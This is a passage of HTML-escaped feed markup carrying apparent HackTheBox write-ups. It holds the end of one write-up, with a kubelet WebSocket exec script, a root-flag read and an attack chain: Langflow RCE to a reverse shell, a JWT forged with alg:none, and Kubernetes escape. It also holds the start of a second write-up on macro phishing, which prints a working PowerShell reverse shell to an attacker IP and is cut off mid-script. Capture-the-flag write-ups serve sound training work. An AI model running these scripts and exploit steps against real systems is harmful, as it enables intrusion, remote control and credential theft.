    &lt;span class="n"&gt;url&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;wss://&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;NODE&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;:10250/exec/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;NE_NS&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;NE_POD&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;NE_CNT&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
            &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;?output=1&amp;amp;error=1&amp;amp;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# Connect using the Kubernetes exec WebSocket subprotocol
&lt;/span&gt;    &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;websockets&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ssl&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;additional_headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Authorization&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Bearer &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;TOKEN&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
        &lt;span class="n"&gt;subprotocols&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;v4.channel.k8s.io&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
        &lt;span class="n"&gt;open_timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;ws&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;asyncio&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;wait_for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ws&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;recv&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="c1"&gt;# First byte is the channel ID — strip it, print the rest
&lt;/span&gt;                &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;isinstance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:].&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;errors&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;replace&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;''&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;except &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;asyncio&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;TimeoutError&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;websockets&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exceptions&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ConnectionClosed&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
            &lt;span class="k"&gt;pass&lt;/span&gt;

&lt;span class="n"&gt;asyncio&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;ws_exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;COMMAND&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;()))&lt;/span&gt;
&lt;span class="n"&gt;EOF&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Confirming execution
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;mcp@mcp-server-54464cb475-29ztf:/app&lt;span class="nv"&gt;$ &lt;/span&gt;python3 /tmp/evil.py &lt;span class="s2"&gt;"id"&lt;/span&gt;
&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;65534&lt;span class="o"&gt;(&lt;/span&gt;nobody&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;10&lt;span class="o"&gt;(&lt;/span&gt;wheel&lt;span class="o"&gt;)&lt;/span&gt;,65534&lt;span class="o"&gt;(&lt;/span&gt;nobody&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"metadata"&lt;/span&gt;:&lt;span class="o"&gt;{}&lt;/span&gt;,&lt;span class="s2"&gt;"status"&lt;/span&gt;:&lt;span class="s2"&gt;"Success"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We're running as &lt;strong&gt;root&lt;/strong&gt; inside the &lt;code&gt;node-exporter&lt;/code&gt; container. The node-exporter pod mounts the &lt;strong&gt;host root filesystem&lt;/strong&gt; at &lt;code&gt;/host/root&lt;/code&gt; — which means we have read access to the entire underlying host machine's filesystem.&lt;/p&gt;




&lt;h2&gt;
  
  
  11. Root Flag
&lt;/h2&gt;

&lt;p&gt;The &lt;code&gt;node-exporter&lt;/code&gt; pod mounts the host's root filesystem at &lt;code&gt;/host/root&lt;/code&gt;. We read the root flag directly from the host through this mount:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;mcp@mcp-server-54464cb475-29ztf:/app&lt;span class="nv"&gt;$ &lt;/span&gt;python3 /tmp/evil.py &lt;span class="s2"&gt;"cat /host/root/root/root.txt"&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;REDACTED]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  12. Attack Chain Summary
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[Attacker]
    │
    ├─ 1. Nmap → port 443 (nginx), wildcard cert (*.fireflow.htb)
    │
    ├─ 2. ffuf vhost fuzzing → flow.fireflow.htb discovered
    │      └─ Langflow playground at /playground/7d84d636-...
    │         Status bar: "Flow engine 1.8.2" → vulnerable to CVE-2026-33017
    │
    ├─ 3. CVE-2026-33017: POST /api/v1/build_public_tmp/{flow_id}/flow (no auth)
    │      └─ Malicious Python in node definition → exec() → reverse shell as www-data
    │
    ├─ 4. www-data env → LANGFLOW_SUPERUSER_PASSWORD=n1ghtm4r3_b4_n1ghtf4ll
    │      └─ su nightfall (password reuse) → user.txt [REDACTED]
    │
    ├─ 5. ~/.mcp/config.json → MCP server at &amp;lt;TARGET_IP&amp;gt;:30080
    │      └─ credentials: langflow-bot / Langfl0w@mcp2026!
    │
    ├─ 6. /api/v1/version → JWT supported_algorithms: ["HS256", "none"]
    │      └─ Auth → role:user token → forge role:admin with alg:none
    │
    ├─ 7. POST /api/v1/tools (admin) → register reverse shell tool
    │      └─ tools/call → shell inside mcp-server Kubernetes pod (uid=1000/mcp)
    │
    ├─ 8. K8s RBAC: mcp-sa has GET nodes/proxy
    │      └─ GET /api/v1/nodes/fireflow/proxy/pods → enumerate all pods on node
    │         Spotted: prometheus-node-exporter (hostPID, hostFS, runs as root)
    │
    ├─ 9. WebSocket exec directly to kubelet port 10250
    │      └─ /exec/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter
    │         → uid=0(root) inside node-exporter
    │
    └─ 10. node-exporter mounts host FS at /host/root
            └─ cat /host/root/root/root.txt → [REDACTED]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  13. Key Vulnerabilities
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Impact&lt;/th&gt;
&lt;th&gt;Severity&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;CVE-2026-33017&lt;/strong&gt; — Langflow &lt;code&gt;build_public_tmp&lt;/code&gt; endpoint accepts attacker-supplied Python code via &lt;code&gt;data&lt;/code&gt; param, executes via unsandboxed &lt;code&gt;exec()&lt;/code&gt;, no auth required&lt;/td&gt;
&lt;td&gt;Unauthenticated RCE on Langflow server&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Password reuse&lt;/strong&gt; — Langflow superuser password reused as Linux user &lt;code&gt;nightfall&lt;/code&gt;'s password, exposed in process environment&lt;/td&gt;
&lt;td&gt;Lateral movement from www-data to nightfall&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;JWT &lt;code&gt;alg: none&lt;/code&gt; accepted&lt;/strong&gt; — MCP registry advertises and accepts unsigned JWTs, allowing any user to forge admin-role tokens&lt;/td&gt;
&lt;td&gt;Privilege escalation to MCP admin&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Arbitrary code execution via MCP tool registration&lt;/strong&gt; — Admin users can register Python tools that execute on the MCP server pod with no sandboxing&lt;/td&gt;
&lt;td&gt;RCE inside Kubernetes pod&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Over-permissive RBAC + kubelet WebSocket exec&lt;/strong&gt; — &lt;code&gt;mcp-sa&lt;/code&gt; has &lt;code&gt;GET nodes/proxy&lt;/code&gt;, enabling WebSocket exec to kubelet port 10250, bypassing API server exec authorization&lt;/td&gt;
&lt;td&gt;Container escape to root on node&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Privileged node-exporter pod&lt;/strong&gt; — DaemonSet runs as root with host filesystem, hostPID, and hostNetwork — reachable from compromised pod&lt;/td&gt;
&lt;td&gt;Full node compromise via host FS read&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




</description>
      <category>cybersecurity</category>
      <category>hackthebox</category>
      <category>writeup</category>
      <category>ctf</category>
    </item>
    <item>
      <title>HackTheBox: Orion Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Fri, 26 Jun 2026 17:15:37 +0000</pubDate>
      <link>https://dev.to/exploitnotes/hackthebox-orion-writeup-2foh</link>
      <guid>https://dev.to/exploitnotes/hackthebox-orion-writeup-2foh</guid>
      <description>&lt;h2&gt;
  
  
  Executive Summary
&lt;/h2&gt;

&lt;p&gt;JobTwo is a Windows Server 2022 machine that simulates a realistic corporate phishing and privilege escalation scenario. The attack chain begins with a job posting website that solicits Word document CVs via email. By crafting a macro-embedded &lt;code&gt;.docm&lt;/code&gt; file and sending it to the HR email address, we obtain an initial foothold as user &lt;code&gt;julian&lt;/code&gt;. From there, we discover hMailServer installed on the box, extract and crack a password hash from its database to pivot to user &lt;code&gt;ferdinand&lt;/code&gt; (user flag). Finally, we exploit &lt;strong&gt;CVE-2023-27532&lt;/strong&gt; - an unauthenticated credential leak and RCE vulnerability in Veeam Backup &amp;amp; Replication — to execute commands as &lt;code&gt;NT AUTHORITY\SYSTEM&lt;/code&gt; and retrieve the root flag.&lt;/p&gt;




&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Reconnaissance&lt;/li&gt;
&lt;li&gt;Web Enumeration&lt;/li&gt;
&lt;li&gt;Initial Access - VBA Macro Phishing&lt;/li&gt;
&lt;li&gt;Stable Shell with ConPtyShell&lt;/li&gt;
&lt;li&gt;Post-Exploitation as Julian&lt;/li&gt;
&lt;li&gt;Credential Extraction - hMailServer&lt;/li&gt;
&lt;li&gt;Lateral Movement to Ferdinand (User Flag)&lt;/li&gt;
&lt;li&gt;Privilege Escalation - CVE-2023-27532 (Veeam)&lt;/li&gt;
&lt;li&gt;Root Flag&lt;/li&gt;
&lt;li&gt;Attack Chain Summary&lt;/li&gt;
&lt;li&gt;Key Vulnerabilities&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  1. Reconnaissance
&lt;/h2&gt;

&lt;p&gt;We start with a full Nmap scan using &lt;code&gt;-A&lt;/code&gt; (aggressive mode: OS detection, version detection, script scanning) and &lt;code&gt;-Pn&lt;/code&gt; (skip host discovery, since ICMP may be blocked):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;root@kali:/home/kali/htb/Job2#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;nmap &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; &amp;lt;TARGET_IP&amp;gt;
&lt;span class="go"&gt;
PORT      STATE SERVICE              VERSION
22/tcp    open  ssh                  OpenSSH for_Windows_9.5 (protocol 2.0)
25/tcp    open  smtp                 hMailServer smtpd
80/tcp    open  http                 Microsoft HTTPAPI httpd 2.0
443/tcp   open  ssl/https?
| ssl-cert: Subject: commonName=www.job2.vl
445/tcp   open  microsoft-ds?
3389/tcp  open  ms-wbt-server        Microsoft Terminal Services
| rdp-ntlm-info:
|   Product_Version: 10.0.20348
5985/tcp  open  http                 Microsoft HTTPAPI httpd 2.0
... [snipped]
OS: Microsoft Windows Server 2022 (89%)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Key observations:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Port &lt;strong&gt;25&lt;/strong&gt; (SMTP) - hMailServer is running, meaning we can send emails directly to the box.&lt;/li&gt;
&lt;li&gt;Port &lt;strong&gt;80/443&lt;/strong&gt; - a web server is present.&lt;/li&gt;
&lt;li&gt;Port &lt;strong&gt;5985&lt;/strong&gt; - WinRM is open, useful for lateral movement if we get credentials.&lt;/li&gt;
&lt;li&gt;OS fingerprinting suggests &lt;strong&gt;Windows Server 2022&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We add the hostnames to &lt;code&gt;/etc/hosts&lt;/code&gt; so domain-based virtual hosting resolves correctly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'&amp;lt;TARGET_IP&amp;gt; job2.vl www.job2.vl'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; /etc/hosts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We check for anonymous/guest SMB access - both fail:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;root@kali#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;nxc smb &amp;lt;TARGET_IP&amp;gt; &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;
&lt;span class="gp"&gt;SMB  &amp;lt;TARGET_IP&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;445  JOB2  &lt;span class="o"&gt;[&lt;/span&gt;-] JOB2&lt;span class="se"&gt;\:&lt;/span&gt; STATUS_ACCESS_DENIED
&lt;span class="go"&gt;
&lt;/span&gt;&lt;span class="gp"&gt;root@kali#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;nxc smb &amp;lt;TARGET_IP&amp;gt; &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s1"&gt;'guest'&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;
&lt;span class="gp"&gt;SMB  &amp;lt;TARGET_IP&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;445  JOB2  &lt;span class="o"&gt;[&lt;/span&gt;-] JOB2&lt;span class="se"&gt;\g&lt;/span&gt;uest: STATUS_ACCOUNT_DISABLED
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;SMB is a dead end. We pivot to the web server.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. Web Enumeration
&lt;/h2&gt;

&lt;p&gt;Browsing to &lt;code&gt;http://www.job2.vl&lt;/code&gt; reveals a boat rental company job posting page. The key line:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"If you are interested in this position, please send your CV to **&lt;a href="mailto:hr@job2.vl"&gt;hr@job2.vl&lt;/a&gt;&lt;/em&gt;* as a Microsoft Word Document."*&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This is the entry point. The site is explicitly asking for a Word document attachment - a classic phishing vector. SMTP (port 25) is directly accessible with no authentication, so we can deliver mail straight to the target.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. Initial Access - VBA Macro Phishing
&lt;/h2&gt;

&lt;h3&gt;
  
  
  How it works
&lt;/h3&gt;

&lt;p&gt;Microsoft Word supports Visual Basic for Applications (VBA) macros embedded inside &lt;code&gt;.docm&lt;/code&gt; files. When a victim opens the document and enables macros, the &lt;code&gt;AutoOpen&lt;/code&gt; subroutine fires automatically. We abuse this to execute a PowerShell reverse shell without any user interaction beyond opening the file.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1 - Create the PowerShell reverse shell
&lt;/h3&gt;

&lt;p&gt;We grab a PowerShell reverse shell from &lt;a href="https://www.revshells.com" rel="noopener noreferrer"&gt;revshells.com&lt;/a&gt; - specifically the &lt;strong&gt;PowerShell #1&lt;/strong&gt; option - plugging in our attacker IP and port 4444, then save it as &lt;code&gt;shell.ps1&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;cat&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;shell.ps1&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="nv"&gt;$LHOST&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&amp;lt;YOUR_IP&amp;gt;"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$LPORT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4444&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$TCPClient&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;New-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Net.Sockets.TCPClient&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$LHOST&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$LPORT&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$NetworkStream&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$TCPClient&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;GetStream&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$StreamReader&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;New-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;IO.StreamReader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$NetworkStream&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$StreamWriter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;New-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;IO.StreamWriter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$NetworkStream&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$StreamWriter&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;AutoFlush&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;$true&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$Buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;New-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;System.Byte&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;1024&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="kr"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$TCPClient&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Connected&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="kr"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$NetworkStream&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;DataAvailable&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nv"&gt;$RawData&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$NetworkStream&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$Buffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$Buffer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Length&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
